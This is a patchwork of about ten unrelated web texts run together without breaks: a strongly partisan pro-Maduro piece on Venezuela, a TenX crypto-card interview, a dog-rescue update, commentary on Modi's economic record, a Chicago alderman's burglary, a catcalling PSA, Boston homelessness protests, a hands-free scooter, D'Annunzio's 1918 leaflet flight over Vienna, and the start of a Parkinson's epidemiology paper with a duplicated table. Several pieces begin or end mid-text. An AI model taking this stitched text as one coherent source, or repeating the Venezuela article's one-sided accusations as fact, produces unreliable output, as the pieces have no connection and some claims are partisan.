Although the Supreme Court reversed its March 29 action due to strong opposition, the right-wing immediately took to social media and the international press to denounce Maduro’s government. It became the pretext for the latest wave of violent attacks.
The opposition has set fire to the Supreme Court and damaged other buildings associated with state-run institutions and hurled rocks and other projectiles at police, security forces and even President Maduro. They fired shots at residents of the Ali Primera Socialist City commune that was established for low-income citizens by the Bolivarian Revolution in 2014. A 13-year-old resident, Bryan Principal, was killed as a result of the gunfire.
Opposition aided by Washington and the OAS
The recent surge in calls for regime change follow the abandonment of a Vatican-brokered dialogue by the coalition of opposition groups known as the Democratic Unity Roundtable (MUD) on January 26.
Then on Feb. 8, 34 members of the U.S. Congress signed a letter to President Trump demanding increased sanctions against Venezuelan officials for alleged corruption and human rights violations. The hit piece is signed by extremists known for anti-Cuba and anti-Venezuela positions, including Ileana Ros-Lehtinen, Mario Díaz-Balart, Robert Meléndez, Ted Cruz, Mark Meadows and Dana Rohrabacher, among others.
In an attempt to smear PSUV leaders and justify the U.S. sanctions, Vice President Tarek El Aissami was falsely accused by the same U.S. congress members of drug trafficking. Previously, PSUV Vice President Diosdado Cabello was similarly accused. No proof or evidence was ever presented in either case.
On Feb. 15 Trump hosted Lilian Tintori, a well-known opposition figure with the Popular Will Party (Voluntad Popular) whose husband, Leopoldo López, is among the jailed fascists responsible for inciting violence in 2014. Trump later tweeted that “Venezuela should allow Leopoldo López, a political prisoner … out of prison immediately,” alongside a picture of himself with Vice President Pence, Florida Senator Marco Rubio, and Tintori.
In early March, Rubio and other senators called on the Organization of American States to “evoke the Democratic Charter” and expel Venezuela from the regional body. OAS Secretary General Luis Almagro, an open supporter of Washington’s schemes and the Venezuelan opposition, reiterated the opposition’s demand that Venezuela’s presidential elections scheduled for 2018 be moved ahead to take place in 2017.
An illegal session of the OAS Permanent Council met on April 3 where representatives from the U.S., Canada and several Latin American right-wing governments including Argentina, Brazil and Mexico unsuccessfully attempted to impose their will over member states sympathetic to the democratically elected Maduro administration.
According to the Bolivarian Embassy in Washington, such an action “would undermine the legitimacy of the Venezuelan government and therefore trigger a series of violent actions in Venezuela.” The resolution failed for lack of sufficient votes.
Almagro’s obsession with Venezuela while overlooking the blatant legislative coups and repression in Brazil, and state-sanctioned violence in Colombia, Honduras and Mexico against activists, journalists, and community leaders, reveals his subservience to the dictates of the United States.
In an April 6 report released by the U.S. Military’s Southern Command, the leading commander states the potential necessity of a “regional response” in Venezuela to combat the “growing humanitarian crisis … due to widespread food and medicine shortages; continued political uncertainty; and a worsening economic situation.”
It is ironic that the Pentagon would concern itself with the Venezuelan people’s economic conditions, when millions of people in the United States suffer hunger, homelessness and lack of health care due to the gargantuan U.S. military budget and its militarism.
The United States call for a regional response against Venezuela is not only a violation of the country’s sovereignty. It also shows a weakness of the opposition, notwithstanding its violent tactics and dangerous threat to the Bolivarian process.
The opposition has failed to present a viable program of economic and social stability and well being for the vast majority of Venezuelans, because what the right-wing seeks is a return to the time when they, the 1%, ruled with complete domination.
Road map to regime change
This is why the right-wing Venezuelan opposition of extremist groups and capitalist class is relying more and more on U.S. imperialism for influence and intervention.
Opposition figures inside Venezuela are even taking cues from the recent U.S. aggression against Syria to call for “humanitarian” intervention against their own country. David Smolansky, mayor of El Hatillo municipality and coordinator with Popular Will, accused the Maduro government in a tweet of using chemical weapons to quell protests, making mention of Syria.
Recent polling from the independent firm Hinterlaces reveals that 55 percent of Venezuelans do not believe in pursuing regime change as a viable strategy for progress, but would rather see a peaceful resolution to resolving the country’s economic problems.
It is in the hands of the Venezuelan people to determine their path forward, not for Washington to dictate. And it is for the progressive forces in the United States and worldwide to stand with the Bolivarian government and people.
Singapore-based TenX has been making waves recently, with the release of its Visa card that allows its users to spend cryptocurrency anywhere Visa is accepted. In this interview, we sit down with Brendon, community manager of TenX, to discuss the project’s future.
Sam Safahi: How many cards do you think you’ll be able to produce a day at max capacity?
Brendon: Once our waitlist is cleared, we’re only going to be limited by our card issuer’s printing warehouse. I don’t have exact numbers but they’re capable of numbers in the thousands per day.
Sam: How do you plan to compete against cards such as Monaco or Centra? What’s unique about TenX?
Brendon: We prefer to prove our product with actions and not words. To this day, we’re still the only company with a proven working product and a large, active userbase.
TenX is not a debit card company. Our debit card offering is simply an interim solution until digital currency payments are accepted in their pure form. We believe the current plastic card solution in the financial industry is close the end of it’s life as is blatantly obvious in countries like China with WeChat and Alipay, where payments are done almost exclusively with mobile applications.
Our major point of difference is our COMIT network (http://comit.network/) where we are working toward a completely tokenless cross-chain payment solution.
Sam: Will you add more currencies as payment options in the future, if so what’s the next one?
Brendon: Our current offerings are BTC, ETH, some ERC20 tokens, and DASH. The only currency currently enabled for the public is BTC, while the others are in use with a batch of beta users. We’re aiming to release ETH and some ERC20 tokens for all users in the coming weeks, with final testing on our ETH V2 wallet wrapping up now. DASH will follow shortly after that for full rollout.
We’re not stopping there. As outlined in our whitepaper, we want to support as many coins and tokens as possible. Our main criteria for adding currencies in future is based on ease of integration and trading volume.
Sam: Are you planning on making cards out of metal, say for luxury customers?
Brendon: We have 2 special edition cards currently in existence which are both metal. These are no longer available and were a one-time offering for our larger token sale contributors. There were 50 Founders cards available which are made of pure platinum metal. There were 1000 Limited Edition cards available which are made of brushed metal. There may be more unique cards offered in the future (for example, with special partnerships), but this is currently a low priority for us – it is far more important we scale the product and get cards in hands.
Sam: Where are you able to use a TenX card?
Brendon: It can be used worldwide at any merchant that accepts Visa.
Sam: Does TenX plan to expand into other markets? If so, which ones?
Brendon: At our core we’re a financial company and this won’t change. Our main focus after full release of our debit card solution will be further developing and pushing our COMIT network which we believe will be vital for the future of blockchain payments.
Sam: So TenX will phase out the physical cards once crypto currencies are accepted universally? If so, don’t you think many will want a physical card so they don’t have to use an app all the time?
Brendon: There’s going to be a point where merchants no longer have traditional POS terminals and physical cards are completely phased out.
Sam: Will TenX allow other companies or products use COMIT?
Brendon: Yes. Once ready, COMIT will be fully open source and available for developers to further improve on. COMIT relies on other entities providing liquidity over each blockchain.
Sam: What is the purpose of TenX having a coin? Is it a share of the company or used for paying fees in the future etc?
Brendon: Our token will be able to be spent using the debit card. It is also used to provide rewards to token holders.
Sam: What are the benefits of using TenX to pay instead of Bitcoin, for example?
Brendon: There are no benefits, it is simply an alternative option. The main purpose is for the reward system.
Sam: What is the rewards system?
Brendon: It is clearly outlined in our whitepaper, I would recommend reading the section dedicated to the token for a full overview. In short, card holders will receive 0.1% cashback in the form of PAY for any spending on their personal card. The PAY used for this cashback is purchased by TenX from the open market as the supply is limited. Additionally, PAY token holders can receive extra rewards and incentives from the loyalty program.
Sam: Thank you for your time today.
Brendon: No problem. If your readers have any more questions they will be able to find a wealth of information on our support page at https://support.tenx.tech/hc/en-us
Foxie is a beautiful, sweet 9 month old Pointer / Fox Terrier mix that was picked up as a stray in Cumberland County, NC. She had a rope that had been tied around her mid section and was embedded so deep that it was now into her vertebrae. She was taken to animal control waiting certain death if no one stepped up for her. We were contacted by hundreds of people to see what we could do and after lots of phone calls and e-mails we were able to get her transported to a vet where she is being treated. Foxie must have known something terrible was going to happen to her if she did not get loose from wherever she had been tied up and left to fend for herself. You cannot tell from this picture but she is very thin. That is also one of the factors we believe saved her life because the rope was so thick that it was not expanding at all. If she had been any bigger she would not be here today and for sure would have been paralyzed from what we saw during surgery. We waited a week before doing surgery to get her stable and to clear up some of the terrible infection she had. She was also very weak from all of the parasites in her body. She had three hours of surgery at the beginning of the week and is slowly coming around. It turned out to be a lot more complicated than we ever imagined. The rope had been embedded for so long that it had worn off the dorsal process of her vertebrae. Right now she is scared but comfortable and very much alive. She is a wonderful dog that had a terrible life. We want to make sure the rest of her life is filled with lots of love and care. She will be up for adoption once she is well.
She has really been through it. We wanted to wait until the end of the week for her to improve before we posted an update. She is finally doing a lot better. She had four bad days but today is feeling much better. She still looks very sad but is going outside and walking around. She is off of her pain meds for now but we will put her back on if she shows any signs of being uncomfortable. She had a lot done during her surgical procedure and it is just going to take time for her to heal from having all of the dead tissue removed and then be put back together. I have put a picture of the damaged vertebrae at the bottom of this page. It is very graphic because it is during surgery. We have done lots of x-rays, etc. and it doesn't appear to be compromising her ability to walk and we feel with time it will fill itself back in. She is still very shy but coming around and likes to be loved on once she gets comfortable with you. she is not aggressive at all, just shy from not being loved on or cared for. She will make a wonderful family dog and doesn't appear to have any interest in other dogs. We will know more in a couple of weeks once she gets to run around. If you are interested in her, please fill out our adoption application from our main web page and let us know to expect it. Thanks for caring.
FOXEY is doing wonderful. It is so nice seeing her with her head lifted up and so alert. She is still very shy and will that special someone to take care of her.
Alas, these appearances are deceiving (see article). The GST, although welcome, is unnecessarily complicated and bureaucratic, greatly reducing its efficiency. The new bankruptcy law is a step in the right direction, but it will take much more to revive the financial system, which is dominated by state-owned banks weighed down by dud loans. The central government’s response to a host of pressing economic problems, from the difficulty of buying land to the reform of rigid labour laws, has been to pass them to the states. And at least one of the big reforms it has undertaken—the overnight cancellation of most of India’s banknotes in an effort to curb the black economy—was counterproductive, hamstringing legitimate businesses without doing much harm to illicit ones. No wonder the economy is starting to drag. In the first three months of the year it grew at an annualised rate of 6.1%, more slowly than when Mr Modi came to power.
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More an administrator than a reformer
India’s prime minister, in short, is not the radical reformer he is cracked up to be. He is more energetic than his predecessor, the stately Manmohan Singh, launching glitzy initiatives on everything from manufacturing to toilet-construction. But he has not come up with many big new ideas of his own (the GST and the bankruptcy reforms date back long before his time). His reputation as a friend to business rests on his vigorous efforts to help firms out of fixes—finding land for a particular factory, say, or expediting the construction of a power station. But he is not so good at working systematically to sort out the underlying problems holding the economy back.
India does not just need power stations and parcels of land for development. It needs functioning markets for electricity and land—and capital and labour, for that matter. Lending to industry is contracting, for the first time in 20 years; Mr Modi should recapitalise state-owned banks and sell them off, to get loans flowing again. He should be working to simplify the over-exacting labour law, which perversely harms workers by deterring companies from hiring them formally. Property purchases are a forbidding quagmire; the government, at a minimum, should try to improve the quality of registers to reduce the scope for disputes.
Political conditions are about as propitious for reform as they are ever likely to be. Mr Modi’s government is the strongest in decades. It has a big majority in the lower house of parliament and is edging closer to control of the upper house, as well. It runs most big states. The opposition is hopeless.
There are economic tailwinds, too. India is a big importer of oil; the low price of late has been boosting growth by perhaps two percentage points a year. Ageing has long weighed on Western economies and is starting to sap China’s. India, by contrast, is still young. Over a quarter of the people joining the world’s workforce between now and 2025 will be Indian. And there is enormous scope for catch-up growth: India is the poorest of the world’s 20 biggest economies. By rights, it should be surpassing others’ growth rates for years.
Mr Modi, in short, is squandering a golden opportunity. Some apologists claim that he is waiting until he wins a majority in the upper house before taking on bigger reforms. If so, he has given no inkling of what he is planning. In fact, he has not even made clear that economic reform is his priority.
More a chauvinist than an economist
As prime minister, Mr Modi has been just as careful to court militant Hindus as jet-setting businessmen. His government recently created havoc in the booming beef-export business with onerous new rules on purchases of cattle, in deference to Hindus’ reverence for cows (see article). Yogi Adityanath, the man he selected to run Uttar Pradesh, is under investigation for inciting religious hatred and rioting, among other offences.
The fear is that, if the economy falters, Mr Modi will try to maintain his popularity by stirring up communal tensions. That, after all, is how his Bharatiya Janata Party first propelled itself to government in the 1990s. Mr Modi himself was chief minister of Gujarat in 2002 when rioting there killed at least 1,000 people, most of them Muslims. To this day, he has never categorically condemned the massacre or apologised for failing to prevent it.
Under Mr Modi, debate about public policy, and especially about communal relations, has atrophied (see article). Hindu nationalist thugs intimidate those who chide the government for straying from India’s secular tradition, or who advocate a less repressive approach to protests in Kashmir, India’s only state with a Muslim majority. One of the few media companies that dares to criticise the government has been raided by police on grounds that would not normally attract such heavy-handedness. Mr Modi himself has become the object of a sycophantic personality cult. The prime minister may intend all this as a way to keep winning elections. But it is not hard to imagine it going disastrously wrong.
Now, Santiago is the victim.
Shortly before 7 p.m. Monday, Santiago returned from her ward night to find her home in the 3000 block of North Kolmar burglarized, the Chicago Sun-Times is reporting.
Santiago says the thieves broke in through a side door and went straight upstairs to ransack the alderman’s bedroom and her daughter’s bedroom for jewelry and small electronics.
They got away with “ten very important pieces of jewelry,” including a wedding ring, watches, bracelets, pearls and gold. Also taken were small electronics and a small amount of cash.
“I feel violated, threatened. Last week, I received an anonymous letter from someone saying all kinds of things about elected officials who are Latinos and about Puerto Ricans and Cubans — that we should go back home and how America has the best president ever and that they can’t wait until America is white again,” a still shaken Santiago said Tuesday.
“Then, less than a week later, I go through this. I don’t know if there’s any link to it. … But, at 3 o’clock in the morning, I was putting all of these pieces together. I hope it’s not, honestly. I don’t want to live in fear and feel like someone is watching me or after me or trying to make me feel fearful.”
The house has an alarm system, but it wasn’t set because the sensors “weren’t synchronized” after a recent garage project. Now, Santiago is talking about getting a more elaborate security system that includes surveillance cameras.
It’s not the first time Santiago’s home in the Northwest Side’s Belmont Cragin neighborhood has been a crime scene.
The same thing happened more than 20 years ago when burglars slashed mattresses and furniture and virtually cleaned out the place.
They also returned the same day, about an hour later, to take what they had left behind in the garage — even as police were still inside the house investigating the first break-in. The thugs returned that time even after her then-husband had secured the door with strips of wood and cement blocks.
This time, Santiago’s losses are more confined. But the feeling of insecurity is the same.
“It’s very unfortunate that some people are doing these things, breaking into houses, violating privacy, taking away [other peoples’] belongings,” she said.
“I know that we have an issue of unemployment. People have addiction issues. But there’s so much help out there. The city is doing the best we can to try to bring these people to some of these programs. … If you don’t want to help yourself, why do you cause damage to other people? Why do you want to depend on the hard work of others? This is crazy.”
According to city crime reports, there have been five burglaries, three thefts and two robberies on Santiago’s block since 2011. There were no arrests for any of those crimes.
“The numbers of break-ins are escalating. As a matter of fact, we’ve been working with the 25th District lately to put more patrol officers out on the street,” Santiago said.
“This is happening everywhere. Downtown. Bucktown. Lincoln Park. Everywhere. I’m not any different than anybody else.”
In her much-ridiculed Cubs ticket tirade, Santiago dared to say what some of her colleagues had been thinking about the Ethics Board ruling that forced the Cubs to yank a lucrative ticket offer they had extended to aldermen for at least a decade.
Santiago argued then that she was just a “poor alderman” who couldn’t afford to pay thousands of dollars to purchase World Series tickets on the secondary market.
She branded the controversy triggered by the Board of Ethics narrow interpretation of the city’s gift ban “kind of insulting, humiliating and embarrassing for us” for a perk that wasn’t all that hot.
“First of all, those tickets were not front-row tickets. They were all the way in the upper-deck. If I went like this, I would almost touch the ceiling. That’s how bad those tickets were,” Santiago said, lifting her arm over her head.
A few days later, Santiago, whose annual salary is $116,208, apologized saying she “never intended to offend anybody.”
“When I said ‘poor alderman,’ — I’m very grateful for my salary and my position,” she said during the run-up to the Cubs’ first World Series championship since 1908.
“What I meant to say was … compared to so many people, the scalpers and all these brokers and all these people who have access to all these tickets to the highest price, of course I’m poor compared to them. Because my salary doesn’t make me rich.”
A PSA about street harassment shows what happens when men realize the women they're catcalling are actually their mothers. Sponsored by Everlast, the PSA takes place in Lima, Peru where seven out of 10 women between the ages of 18 and 29 have faced some form of street harassment. The video features two "repeat offenders" who unknowingly catcall their moms who agreed to dress in disguise and walk past their sons.
While the video features actors, an Everlast spokesperson told The Huffington Post that the PSA was a "fake documentary" based on real events that happened in the past.
In partnership with Peruvian civil society group "Paremos El Acoso Callejero" ("Let's Stop Street Harassment"), Everlast conducted several comprehensive interviews with men who have catcalled women in the past. Everlast said that "many of the male subjects had indeed once or twice 'catcalled' by mistake one of their female family members, making them feel profoundly embarrassed about the situation."
"We did not want to cause huge family rifts, particularly between a mother and a son once the action finalized as this would be a 'low blow' and unfair to the son," the Everlast spokesperson said. "We wanted to provoke, not cause harm."
"Fake documentary" or not, the outcome is highly satisfying. After their sons yell some fairly unsavory things, the horrified moms publicly berate them. One of the women actually repeatedly hits her son over the head with her purse after he calls her "Tasty panties." It's everything you've ever wanted a catcaller to hear.
Several dozen advocates converged outside Boston City Hall on Thursday to mark the first anniversary of the closing of the Long Island Bridge and to demand more action from Mayor Martin J. Walsh to help homeless families.
“Marty Walsh! Get a clue. We expect more support from you,’’ they shouted.
The advocates for the homeless then marched to the State House to protest a proposal by Governor Charlie Baker that would narrow eligibility for state-funded emergency housing, a move they say could leave some of the state’s most vulnerable on the streets. House Speaker Robert A. DeLeo has essentially scuttled that plan.
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Cleve Rea, a spokesman for the rally’s organizer, Boston Homeless Solidarity Committee, said the advocates wanted to bring their message to the front steps of City Hall to press city officials on the issue.
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“We needed to commemorate that horrible day, Oct. 8, 2014,’’ Rea said, referring to the day the bridge closed, cutting off access to the city’s largest shelter for the homeless and forcing its closing. “We need to talk about all the progress that was made and all the work that needs to be done for detox and recovery.”
Walsh, who was attending a meeting on climate change Thursday in Washington, D.C., said in a statement the plight of the homeless has been a priority for his administration. He noted that the city recently completed a plan to end chronic homelessness and homelessness among veterans by 2018.
“A year ago, we made the painful but necessary decision to shut down the Long Island Bridge. That day was a turning point,’’ Walsh said in the statement. “It allowed us to look at the services we offered and figure out how to make them better so that Boston is a city that leaves no one behind.”
But Rea and other advocates are demanding the city improve shelter services and increase capacity for people struggling with homelessness and opioid addiction. Advocates also want the city to reopen substance abuse treatment programs once housed on Long Island and provide permanent housing.
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“My guess is there is not a political will to address these issues,’’ Rea said.
Sheila Dillon, director of the city’s Department of Neighborhood Development, said officials have devoted the past seven months to building a new shelter, finding new locations for detox programs, and working to ensure homeless citizens are safe.
She said officials have now moved to the second phase in their effort to tackle the issue by drafting a new housing plan.
“We are starting to implement that,’’ Dillon said. “We are really terminating our old delivery system of homeless services and housing. And we are completely redesigning it so that people have a much shorter housing stay and are getting housed much more quickly and deliberately.”
Walsh ordered the closing of the Long Island Bridge a year ago after a consultant hired by the city to inspect the span deemed it structurally unsafe.
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The closing and a hurried evacuation forced hundreds of homeless and recovering addicts to cross the dangerously decayed bridge one final time. The shelter and nearly a dozen recovery programs stationed on Long Island were shuttered.
About 700 people who lived on the island were displaced.
David L. Ryan/Globe Staff/File Mayor Marty Walsh ordered the closing of the Long Island Bridge a year ago.
Since the bridge’s closing, more than 100 recovery and detox beds have yet to be replaced, and many former residents have bounced between programs and continue to struggle with the emotional toll of the island’s closure.
While the city has spent tens of millions of dollars to rebuild the services once located on Long Island, officials have yet to replace the 47 residential addiction-treatment beds for women at Joelyn’s Family Home, a halfway house.
Walsh defended the city’s efforts, saying that in less than a year it built a state-of-the-art shelter with space for housing services, case management, health care, and mental health and addiction counseling.
“But we know that there is so much more to do. Homelessness is worsening throughout the region,’’ Walsh said.
Walsh said that to achieve the goal of ending chronic homelessness, city officials will “completely change the way we deliver services to the homeless community.”
That includes adopting a housing-first model, using innovation to streamline the way the city connects homeless individuals with housing, and creating new units of permanent supportive housing, the mayor said.
The Tai Chi Scooter ditches the Segway's handlebars in favor of an optical encoder that monitors the angular displacement of the electric motor.
With nothing to wrap your hands around, riding the scooter requires focusing your mind and maintaining awareness of your center of balance – two fundamental elements of tai chi. That's not to say you'll be pushing hands or doing a single whip on wheels.
"The reason it is called the Tai Chi Scooter is that the hands-free, remote control and large platform make it possible for tai chi poses," said Henry Zhang, a professor who has practiced the martial art for seven years, in an interview with Wired.com.
But it makes sense to us. With a top speed of 15 mph, you'll either find the perfect inner balance of yin and yang, or you'll fall off and break an arm.
Zhang and his students spent several months designing, wiring, coding and assembling the scooter, which he figures costs a few grand. That's a bargain compared to the first three Segways, which went for as much as $160,000 when they popped up on eBay.
In actuality, though, the scooter is nothing more than a box with wheels. It's turned on using remote control, but acceleration and turning are done strictly by shifting your weight or tai chi pose. Turning is handled by the optical encoder, while sensors perceive the rider's movements and direct the motor to slow down or accelerate accordingly. Power comes from three 24-volt, 40-amp rechargeable batteries.
Don't expect to see Woz playing polo on a Tai Chi Scooter anytime soon. Zhang said it was developed strictly for educational purposes, and he has no intention of marketing it.
Photos: Purdue University
The Flight over Vienna was an air raid during World War I undertaken by Italian poet and nationalist Gabriele D'Annunzio on 9 August 1918. With 11 Ansaldo S.V.A. from his team, the 87ma squadriglia (squadron) called La Serenissima all bearing the Lion of St Mark painted on their fuselage sides as the squadron's insignia, he flew for over 1,200 km in a roundtrip from the squadron's military airfield in Due Carrare to Vienna to drop thousands of propaganda leaflets.
The action was planned the year before but technical problems, such as the fuel capacity of the planes, delayed it.
The first trial was attempted on the 2 August 1918, but the aircraft returned due to heavy fog. The second trial, on 8 August 1918, was cancelled due to strong wind, while the last one, on 9 August, was successful.
They flew over Vienna and dropped 50,000 leaflets on a three-colored card (green, white, and red: the colors of the Italian flag). They were written by D'Annunzio himself and were not translated into German. They read:
"On this August morning, while the fourth year of your desperate convulsion comes to an end and luminously begins the year of our full power, suddenly there appears the three-color wing as an indication of the destiny that is turning.
Destiny turns. It turns towards us with an iron certainty. The hour of that Germany that thrashes you, and humiliates you, and infects you is now forever passed.
Your hour is passed. As our faith was the strongest, behold how our will prevails and will prevail until the end. The victorious combatants of Piave, the victorious combatants of Marne feel it, they know it, with an ecstasy that multiplies the impetus. But if the impetus were not enough, the number would be; and this is said for those that try fighting ten against one. The Atlantic is a path already closing, and it's an heroic path, as demonstrated by the new chasers who coloured the Ourcq with German blood.
On the wind of victory that rises from freedom's rivers, we didn't come except for the joy of the daring, we didn't come except to prove what we could venture and do whenever we want, in an hour of our choice.
The rumble of the young Italian wing does not sound like the one of the funereal bronze, in the morning sky. Nevertheless the joyful boldness suspends between Saint Stephen and the Graben an irrevocable sentence, o Viennese.
Long live Italy!"[1]
Previously, critics of D'Annunzio had said: "He writes but does not act." Because D'Annunzio's Italian text was considered ineffectual and not translatable into German, Ferdinando Martini quipped: "Now he acts but does not write."
They also dropped 350,000 leaflets written by Ugo Ojetti, which were translated into German:
VIENNESE! Learn to know the Italians.
We are flying over Vienna; we could drop tons of bombs. All we are dropping on you is a greeting of three colors: the three colors of liberty.
We Italians do not make war on children, on old people, on women.
We are making war on your government, the enemy of national liberties, on your blind, stubborn, cruel government that can give you neither peace nor bread, and feeds you hatred and illusions. VIENNESE! You are famous for being intelligent. But why have you put on the Prussian uniform? By now, you see, the whole world has turned against you.
You want to continue the war? Continue it; it's your suicide. What do you hope for? The decisive victory promised to you by the Prussian generals? Their decisive victory is like the bread of Ukraine: You die waiting for it.
PEOPLE OF VIENNA, think of your own fates. Wake up! LONG LIVE LIBERTY! LONG LIVE ITALY! LONG LIVE THE ENTENTE!
A reduced risk for Parkinson's disease (PD) among cigarette smokers has been observed consistently during the past 30 years. Recent evidence suggests that caffeine may also be protective. Findings are presented regarding associations of PD with smoking, caffeine intake, and alcohol consumption from a case-control study conducted in western Washington State in 1992–2000. Incident PD cases (n = 210) and controls (n = 347), frequency matched on gender and age were identified from enrollees of the Group Health Cooperative health maintenance organization. Exposure data were obtained by in-person questionnaires. Ever having smoked cigarettes was associated with a reduced risk of PD (odds ratio (OR) = 0.5, 95% confidence interval (CI): 0.4, 0.8). A stronger relation was found among current smokers (OR = 0.3, 95% CI: 0.1, 0.7) than among ex-smokers (OR = 0.6, 95% CI: 0.4, 0.9), and there was an inverse gradient with pack-years smoked (trend p < 0.001). No associations were detected for coffee consumption or total caffeine intake or for alcohol consumption. However, reduced risks were observed for consumption of 2 cups/day or more of tea (OR = 0.4, 95% CI: 0.2, 0.9) and two or more cola drinks/day (OR = 0.6, 95% CI: 0.3, 1.4). The associations for tea and cola drinks were not confounded by smoking or coffee consumption.
Parkinson's disease (PD) is a debilitating neurodegenerative disorder whose cardinal features are bradykinesia, resting tremor, muscular rigidity, gait disturbances, and postural reflex impairment (1). The underlying pathologic lesion is a selective destruction of the dopamine-producing neurons in the pars compacta of the substantia nigra (2). PD is rare before age 50 years, but increases dramatically at older ages, with peak onset occurring during ages 70–85 years (3). In the United States, prevalence of PD for all ages is approximately 150 per 100,000 and is roughly 30 per 100,000 at ages less than 50 years and 800 per 100,000 at ages 70–85 (3, 4). The causes of PD are largely unknown. Mendelian inheritance probably accounts for a small fraction of cases, mainly at younger ages (5). Recent experimental and epidemiologic research has therefore focused on lifestyle and environmental risk factors.
An inverse association between cigarette smoking and PD has been observed consistently during the past 30 years (6). Numerous case-control studies worldwide demonstrate reduced PD risks among smokers (roughly half those of nonsmokers (7–14)) with some studies indicating strong inverse dose-response gradients (11, 13, 14). Cohort studies, in which data on smoking were obtained before the onset of PD, provide corroborative evidence for the seemingly protective effect of smoking (15, 16), which suggests that the association is not an artifact of recall bias. Selective survival of nonsmokers to the natural age of onset of PD also does not appear to be a satisfactory explanation for the effect of smoking (17). Instead, biochemical hypotheses have been advanced. Components of cigarette smoke may afford neuroprotection by reducing enzymatic activity of type B monoamine oxidase (MAO-B) in the brain (18). MAO-B catabolizes dopamine (19) and may activate neurotoxicants similar to the established experimental PD-inducing chemical 1-methyl-4-phenyl-1,2,3,6-tetrahdropyridine (MPTP) (20). Recently, a MAO-B-inhibiting compound in tobacco, 2,3,6-trimethyl-1,4-naphthoquinone, was found to attenuate the dopaminergic system toxicity of MPTP in experiments on mice (21). However, evidence from similar experiments with MPTP and nicotine has been inconsistent (22, 23).
Findings from several case-control studies in Europe and the United States (7, 11, 14, 24) suggest that caffeine intake may lower PD risk. Additionally, two recently reported prospective cohort studies of Japanese-American men in Hawaii (25) and of US health professionals (26) demonstrate inverse PD risk gradients with the amount of caffeine consumed. Most prior research has focused on coffee and total caffeine intake, although lowered PD risks, specifically among tea drinkers, have also been observed (12, 26). Caffeine has been shown to reduce dopaminergic cell destruction by MPTP in experiments on mice, possibly mediated by blockage of adenosine A 2A receptors (27).
There is limited epidemiologic evidence that alcohol is related to PD, despite the established neurotoxicity of ethanol. A decreased risk of PD primarily associated with heavy drinking or a history of alcoholism has been reported in some studies (7, 13, 14, 24).
In this paper, we report findings on smoking, caffeine intake, and alcohol consumption from an ongoing, population-based case-control study of PD in the Seattle, Washington, area.
MATERIALS AND METHODS
Study subjects
Newly diagnosed idiopathic PD cases were identified during 1992–2000 from neurology and general medical practice clinics of Group Health Cooperative (GHC) in western Washington State and the University of Washington Neurology Clinic. Potential cases were identified from diagnosis logs at both institutions and from the GHC pharmacy database, which provides information on prescriptions of antiparkinsonian medications (e.g., L-dopa). Chart reviews for cases not diagnosed by neurologists were reviewed by three of the authors (G. M. F., W. T. L, and P. D. S.) to verify PD diagnoses, indicated by the presence of at least two of the four cardinal signs of PD: bradykinesia, resting tremor, cogwheel rigidity, and postural reflex impairment. Exclusion criteria were the use during the 12 months preceding onset of PD symptoms of certain medications (e.g., phenothiazines, haloperidol, and metoclopramide), whose side effects include parkinsonism signs and symptoms, prior history of multiple cerebrovascular events, or another explanation for parkinsonism symptoms (e.g., brain injury, brain tumor, and encephalitis), as identified in patients' charts. Controls were GHC enrollees without past histories of PD or other progressive neurologic disorders (e.g., Alzheimer's disease or multiple sclerosis), as determined from chart reviews and subject interviews. No other medical history exclusion criteria were imposed on control eligibility. The control group was frequency matched to cases by age in 10-year categories, gender, GHC clinic (which represents geographic location in the Puget Sound area), and original year of GHC enrollment. The target control:case ratio is 1.5. The GHC Center for Health Studies contacted eligible cases and controls by mail with a letter describing the study purposes and procedures and soliciting participation. Human Subjects committees at the University of Washington and the GHC Center for Health Studies reviewed and approved the study.
A total of 309 probable PD cases were identified, of whom 12 were subsequently deemed ineligible because of exclusion criteria. Reasons for exclusions were questionable PD diagnosis on repeat chart review (n = 6), recent history of use of parkinsonism-related medications (n = 5), and cognitive impairment that prevented interview (n = 1). A total of 210 (71 percent) agreed to participate in the study. Among 529 potentially eligible controls, 347 (66 percent) agreed to participate. The demographic characteristics of cases and controls are summarized in table 1. The case group was composed of 131 men and 79 women with a median age of 70 years. The controls included 225 men and 122 women with a median age of 71 years. Non-Hispanic Caucasians accounted for the vast majority of subjects (93 percent of the cases and 92 percent of the controls). Educational attainment was similar in the two groups because 80 percent of cases and 78 percent of controls had at least some college education; a slightly larger proportion of cases than of controls had postgraduate-level education (32 vs. 20 percent).
TABLE 1. Characteristic Cases Controls No. % No. % Gender Men 131 62.4 225 64.8 Women 79 37.6 122 35.2 Age (median (range)) 70 (37–88) 71 (44–85) Ethnicity Non-Hispanic Caucasian 196 93.3 318 91.6 Other 14 6.7 29 8.4 Education Less than high school 11 5.2 25 7.2 High school graduate 27 12.9 48 13.8 Some college 82 39.0 162 46.7 College graduate 19 9.0 37 10.7 Postgraduate 68 32.4 70 20.2 Unknown 3 1.5 5 1.4 Characteristic Cases Controls No. % No. % Gender Men 131 62.4 225 64.8 Women 79 37.6 122 35.2 Age (median (range)) 70 (37–88) 71 (44–85) Ethnicity Non-Hispanic Caucasian 196 93.3 318 91.6 Other 14 6.7 29 8.4 Education Less than high school 11 5.2 25 7.2 High school graduate 27 12.9 48 13.8 Some college 82 39.0 162 46.7 College graduate 19 9.0 37 10.7 Postgraduate 68 32.4 70 20.2 Unknown 3 1.5 5 1.4 View Large
TABLE 1. Characteristic Cases Controls No. % No. % Gender Men 131 62.4 225 64.8 Women 79 37.6 122 35.2 Age (median (range)) 70 (37–88) 71 (44–85) Ethnicity Non-Hispanic Caucasian 196 93.3 318 91.6 Other 14 6.7 29 8.4 Education Less than high school 11 5.2 25 7.2 High school graduate 27 12.9 48 13.8 Some college 82 39.0 162 46.7 College graduate 19 9.0 37 10.7 Postgraduate 68 32.4 70 20.2 Unknown 3 1.5 5 1.4 Characteristic Cases Controls No. % No. % Gender Men 131 62.4 225 64.8 Women 79 37.6 122 35.2 Age (median (range)) 70 (37–88) 71 (44–85) Ethnicity Non-Hispanic Caucasian 196 93.3 318 91.6 Other 14 6.7 29 8.4 Education Less than high school 11 5.2 25 7.2 High school graduate 27 12.9 48 13.8 Some college 82 39.0 162 46.7 College graduate 19 9.0 37 10.7 Postgraduate 68 32.4 70 20.2 Unknown 3 1.5 5 1.4 View Large
Data collection
